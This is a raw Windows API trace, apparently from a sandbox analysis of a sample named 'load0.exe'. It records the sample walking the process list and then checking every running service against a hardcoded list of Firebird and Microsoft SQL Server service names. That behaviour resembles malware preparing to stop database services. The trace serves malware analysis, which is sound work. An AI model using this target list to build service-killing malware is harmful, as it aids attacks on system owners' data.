| out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.810] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0288.810] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.811] lstrlenW (lpString="svchost.exe") returned 11 [0288.811] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.812] lstrlenW (lpString="svchost.exe") returned 11 [0288.812] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0288.813] lstrlenW (lpString="dwm.exe") returned 7 [0288.813] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.814] lstrlenW (lpString="svchost.exe") returned 11 [0288.814] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.815] lstrlenW (lpString="svchost.exe") returned 11 [0288.815] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.816] lstrlenW (lpString="svchost.exe") returned 11 [0288.816] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.817] lstrlenW (lpString="svchost.exe") returned 11 [0288.817] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.817] lstrlenW (lpString="svchost.exe") returned 11 [0288.817] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.818] lstrlenW (lpString="svchost.exe") returned 11 [0288.818] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.819] lstrlenW (lpString="svchost.exe") returned 11 [0288.819] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.820] lstrlenW (lpString="svchost.exe") returned 11 [0288.820] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.821] lstrlenW (lpString="svchost.exe") returned 11 [0288.821] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.822] lstrlenW (lpString="svchost.exe") returned 11 [0288.822] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0288.822] lstrlenW (lpString="spoolsv.exe") returned 11 [0288.823] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.823] lstrlenW (lpString="svchost.exe") returned 11 [0288.823] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0288.824] lstrlenW (lpString="audiodg.exe") returned 11 [0288.824] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0288.825] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0288.825] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0288.826] lstrlenW (lpString="Memory Compression") returned 18 [0288.826] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0288.827] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0288.827] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0288.828] lstrlenW (lpString="sihost.exe") returned 10 [0288.828] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.828] lstrlenW (lpString="svchost.exe") returned 11 [0288.828] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0288.829] lstrlenW (lpString="taskhostw.exe") returned 13 [0288.829] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0288.830] lstrlenW (lpString="msoia.exe") returned 9 [0288.830] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0288.831] lstrlenW (lpString="explorer.exe") returned 12 [0288.831] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0288.832] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0288.832] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0288.833] lstrlenW (lpString="SearchUI.exe") returned 12 [0288.833] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0288.834] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0288.834] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0288.922] lstrlenW (lpString="load0.exe") returned 9 [0288.922] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.923] lstrlenW (lpString="svchost.exe") returned 11 [0288.923] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0288.923] lstrlenW (lpString="cmd.exe") returned 7 [0288.923] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0288.924] lstrlenW (lpString="conhost.exe") returned 11 [0288.924] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0288.925] lstrlenW (lpString="cmd.exe") returned 7 [0288.925] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0288.926] lstrlenW (lpString="conhost.exe") returned 11 [0288.926] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0288.927] CloseHandle (hObject=0x10a4) returned 1 [0288.927] Sleep (dwMilliseconds=0x1f4) [0289.537] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd8a0 [0289.537] EnumServicesStatusExW (in: hSCManager=0x7bd8a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0289.538] GetLastError () returned 0xea [0289.538] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b00b8 [0289.538] EnumServicesStatusExW (in: hSCManager=0x7bd8a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b00b8, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b00b8, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0289.539] CloseServiceHandle (hSCObject=0x7bd8a0) returned 1 [0289.539] lstrlenW (lpString="Appinfo") returned 7 [0289.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0289.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0289.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0289.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0289.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0289.539] lstrlenW (lpString="AppXSvc") returned 7 [0289.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0289.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0289.539] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0289.539] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0289.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0289.539] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0289.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0289.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0289.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0289.540] lstrlenW (lpString="Audiosrv") returned 8 [0289.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0289.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0289.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0289.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0289.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0289.540] lstrlenW (lpString="BFE") returned 3 [0289.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0289.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0289.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0289.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0289.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0289.540] lstrlenW (lpString="BITS") returned 4 [0289.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0289.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0289.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0289.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0289.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0289.540] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0289.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0289.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0289.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0289.540] lstrlenW (lpString="CDPSvc") returned 6 [0289.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0289.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0289.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0289.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0289.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0289.540] lstrlenW (lpString="ClickToRunSvc") returned 13 [0289.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.541] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0289.541] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0289.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0289.541] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0289.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0289.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0289.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0289.541] lstrlenW (lpString="CryptSvc") returned 8 [0289.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0289.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0289.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0289.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0289.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0289.541] lstrlenW (lpString="DcomLaunch") returned 10 [0289.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0289.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0289.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0289.541] lstrlenW (lpString="DeviceAssociationService") returned 24 [0289.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0289.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0289.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0289.541] lstrlenW (lpString="Dhcp") returned 4 [0289.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0289.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0289.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0289.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0289.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0289.542] lstrlenW (lpString="Dnscache") returned 8 [0289.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0289.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0289.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0289.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0289.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0289.542] lstrlenW (lpString="DPS") returned 3 [0289.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0289.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0289.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0289.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0289.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0289.542] lstrlenW (lpString="DusmSvc") returned 7 [0289.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0289.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0289.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0289.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0289.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0289.542] lstrlenW (lpString="EventLog") returned 8 [0289.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0289.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0289.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0289.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0289.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0289.542] lstrlenW (lpString="EventSystem") returned 11 [0289.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0289.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0289.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0289.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0289.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0289.542] lstrlenW (lpString="FontCache") returned 9 [0289.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0289.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0289.543] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0289.543] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0289.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0289.543] lstrlenW (lpString="gpsvc") returned 5 [0289.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0289.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0289.543] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0289.543] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0289.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0289.543] lstrlenW (lpString="iphlpsvc") returned 8 [0289.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.543] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0289.543] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0289.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0289.543] lstrlenW (lpString="KeyIso") returned 6 [0289.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0289.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0289.543] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0289.543] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0289.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0289.543] lstrlenW (lpString="LanmanServer") returned 12 [0289.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0289.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0289.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0289.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0289.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0289.543] lstrlenW (lpString="LanmanWorkstation") returned 17 [0289.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0289.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0289.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0289.544] lstrlenW (lpString="lfsvc") returned 5 [0289.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 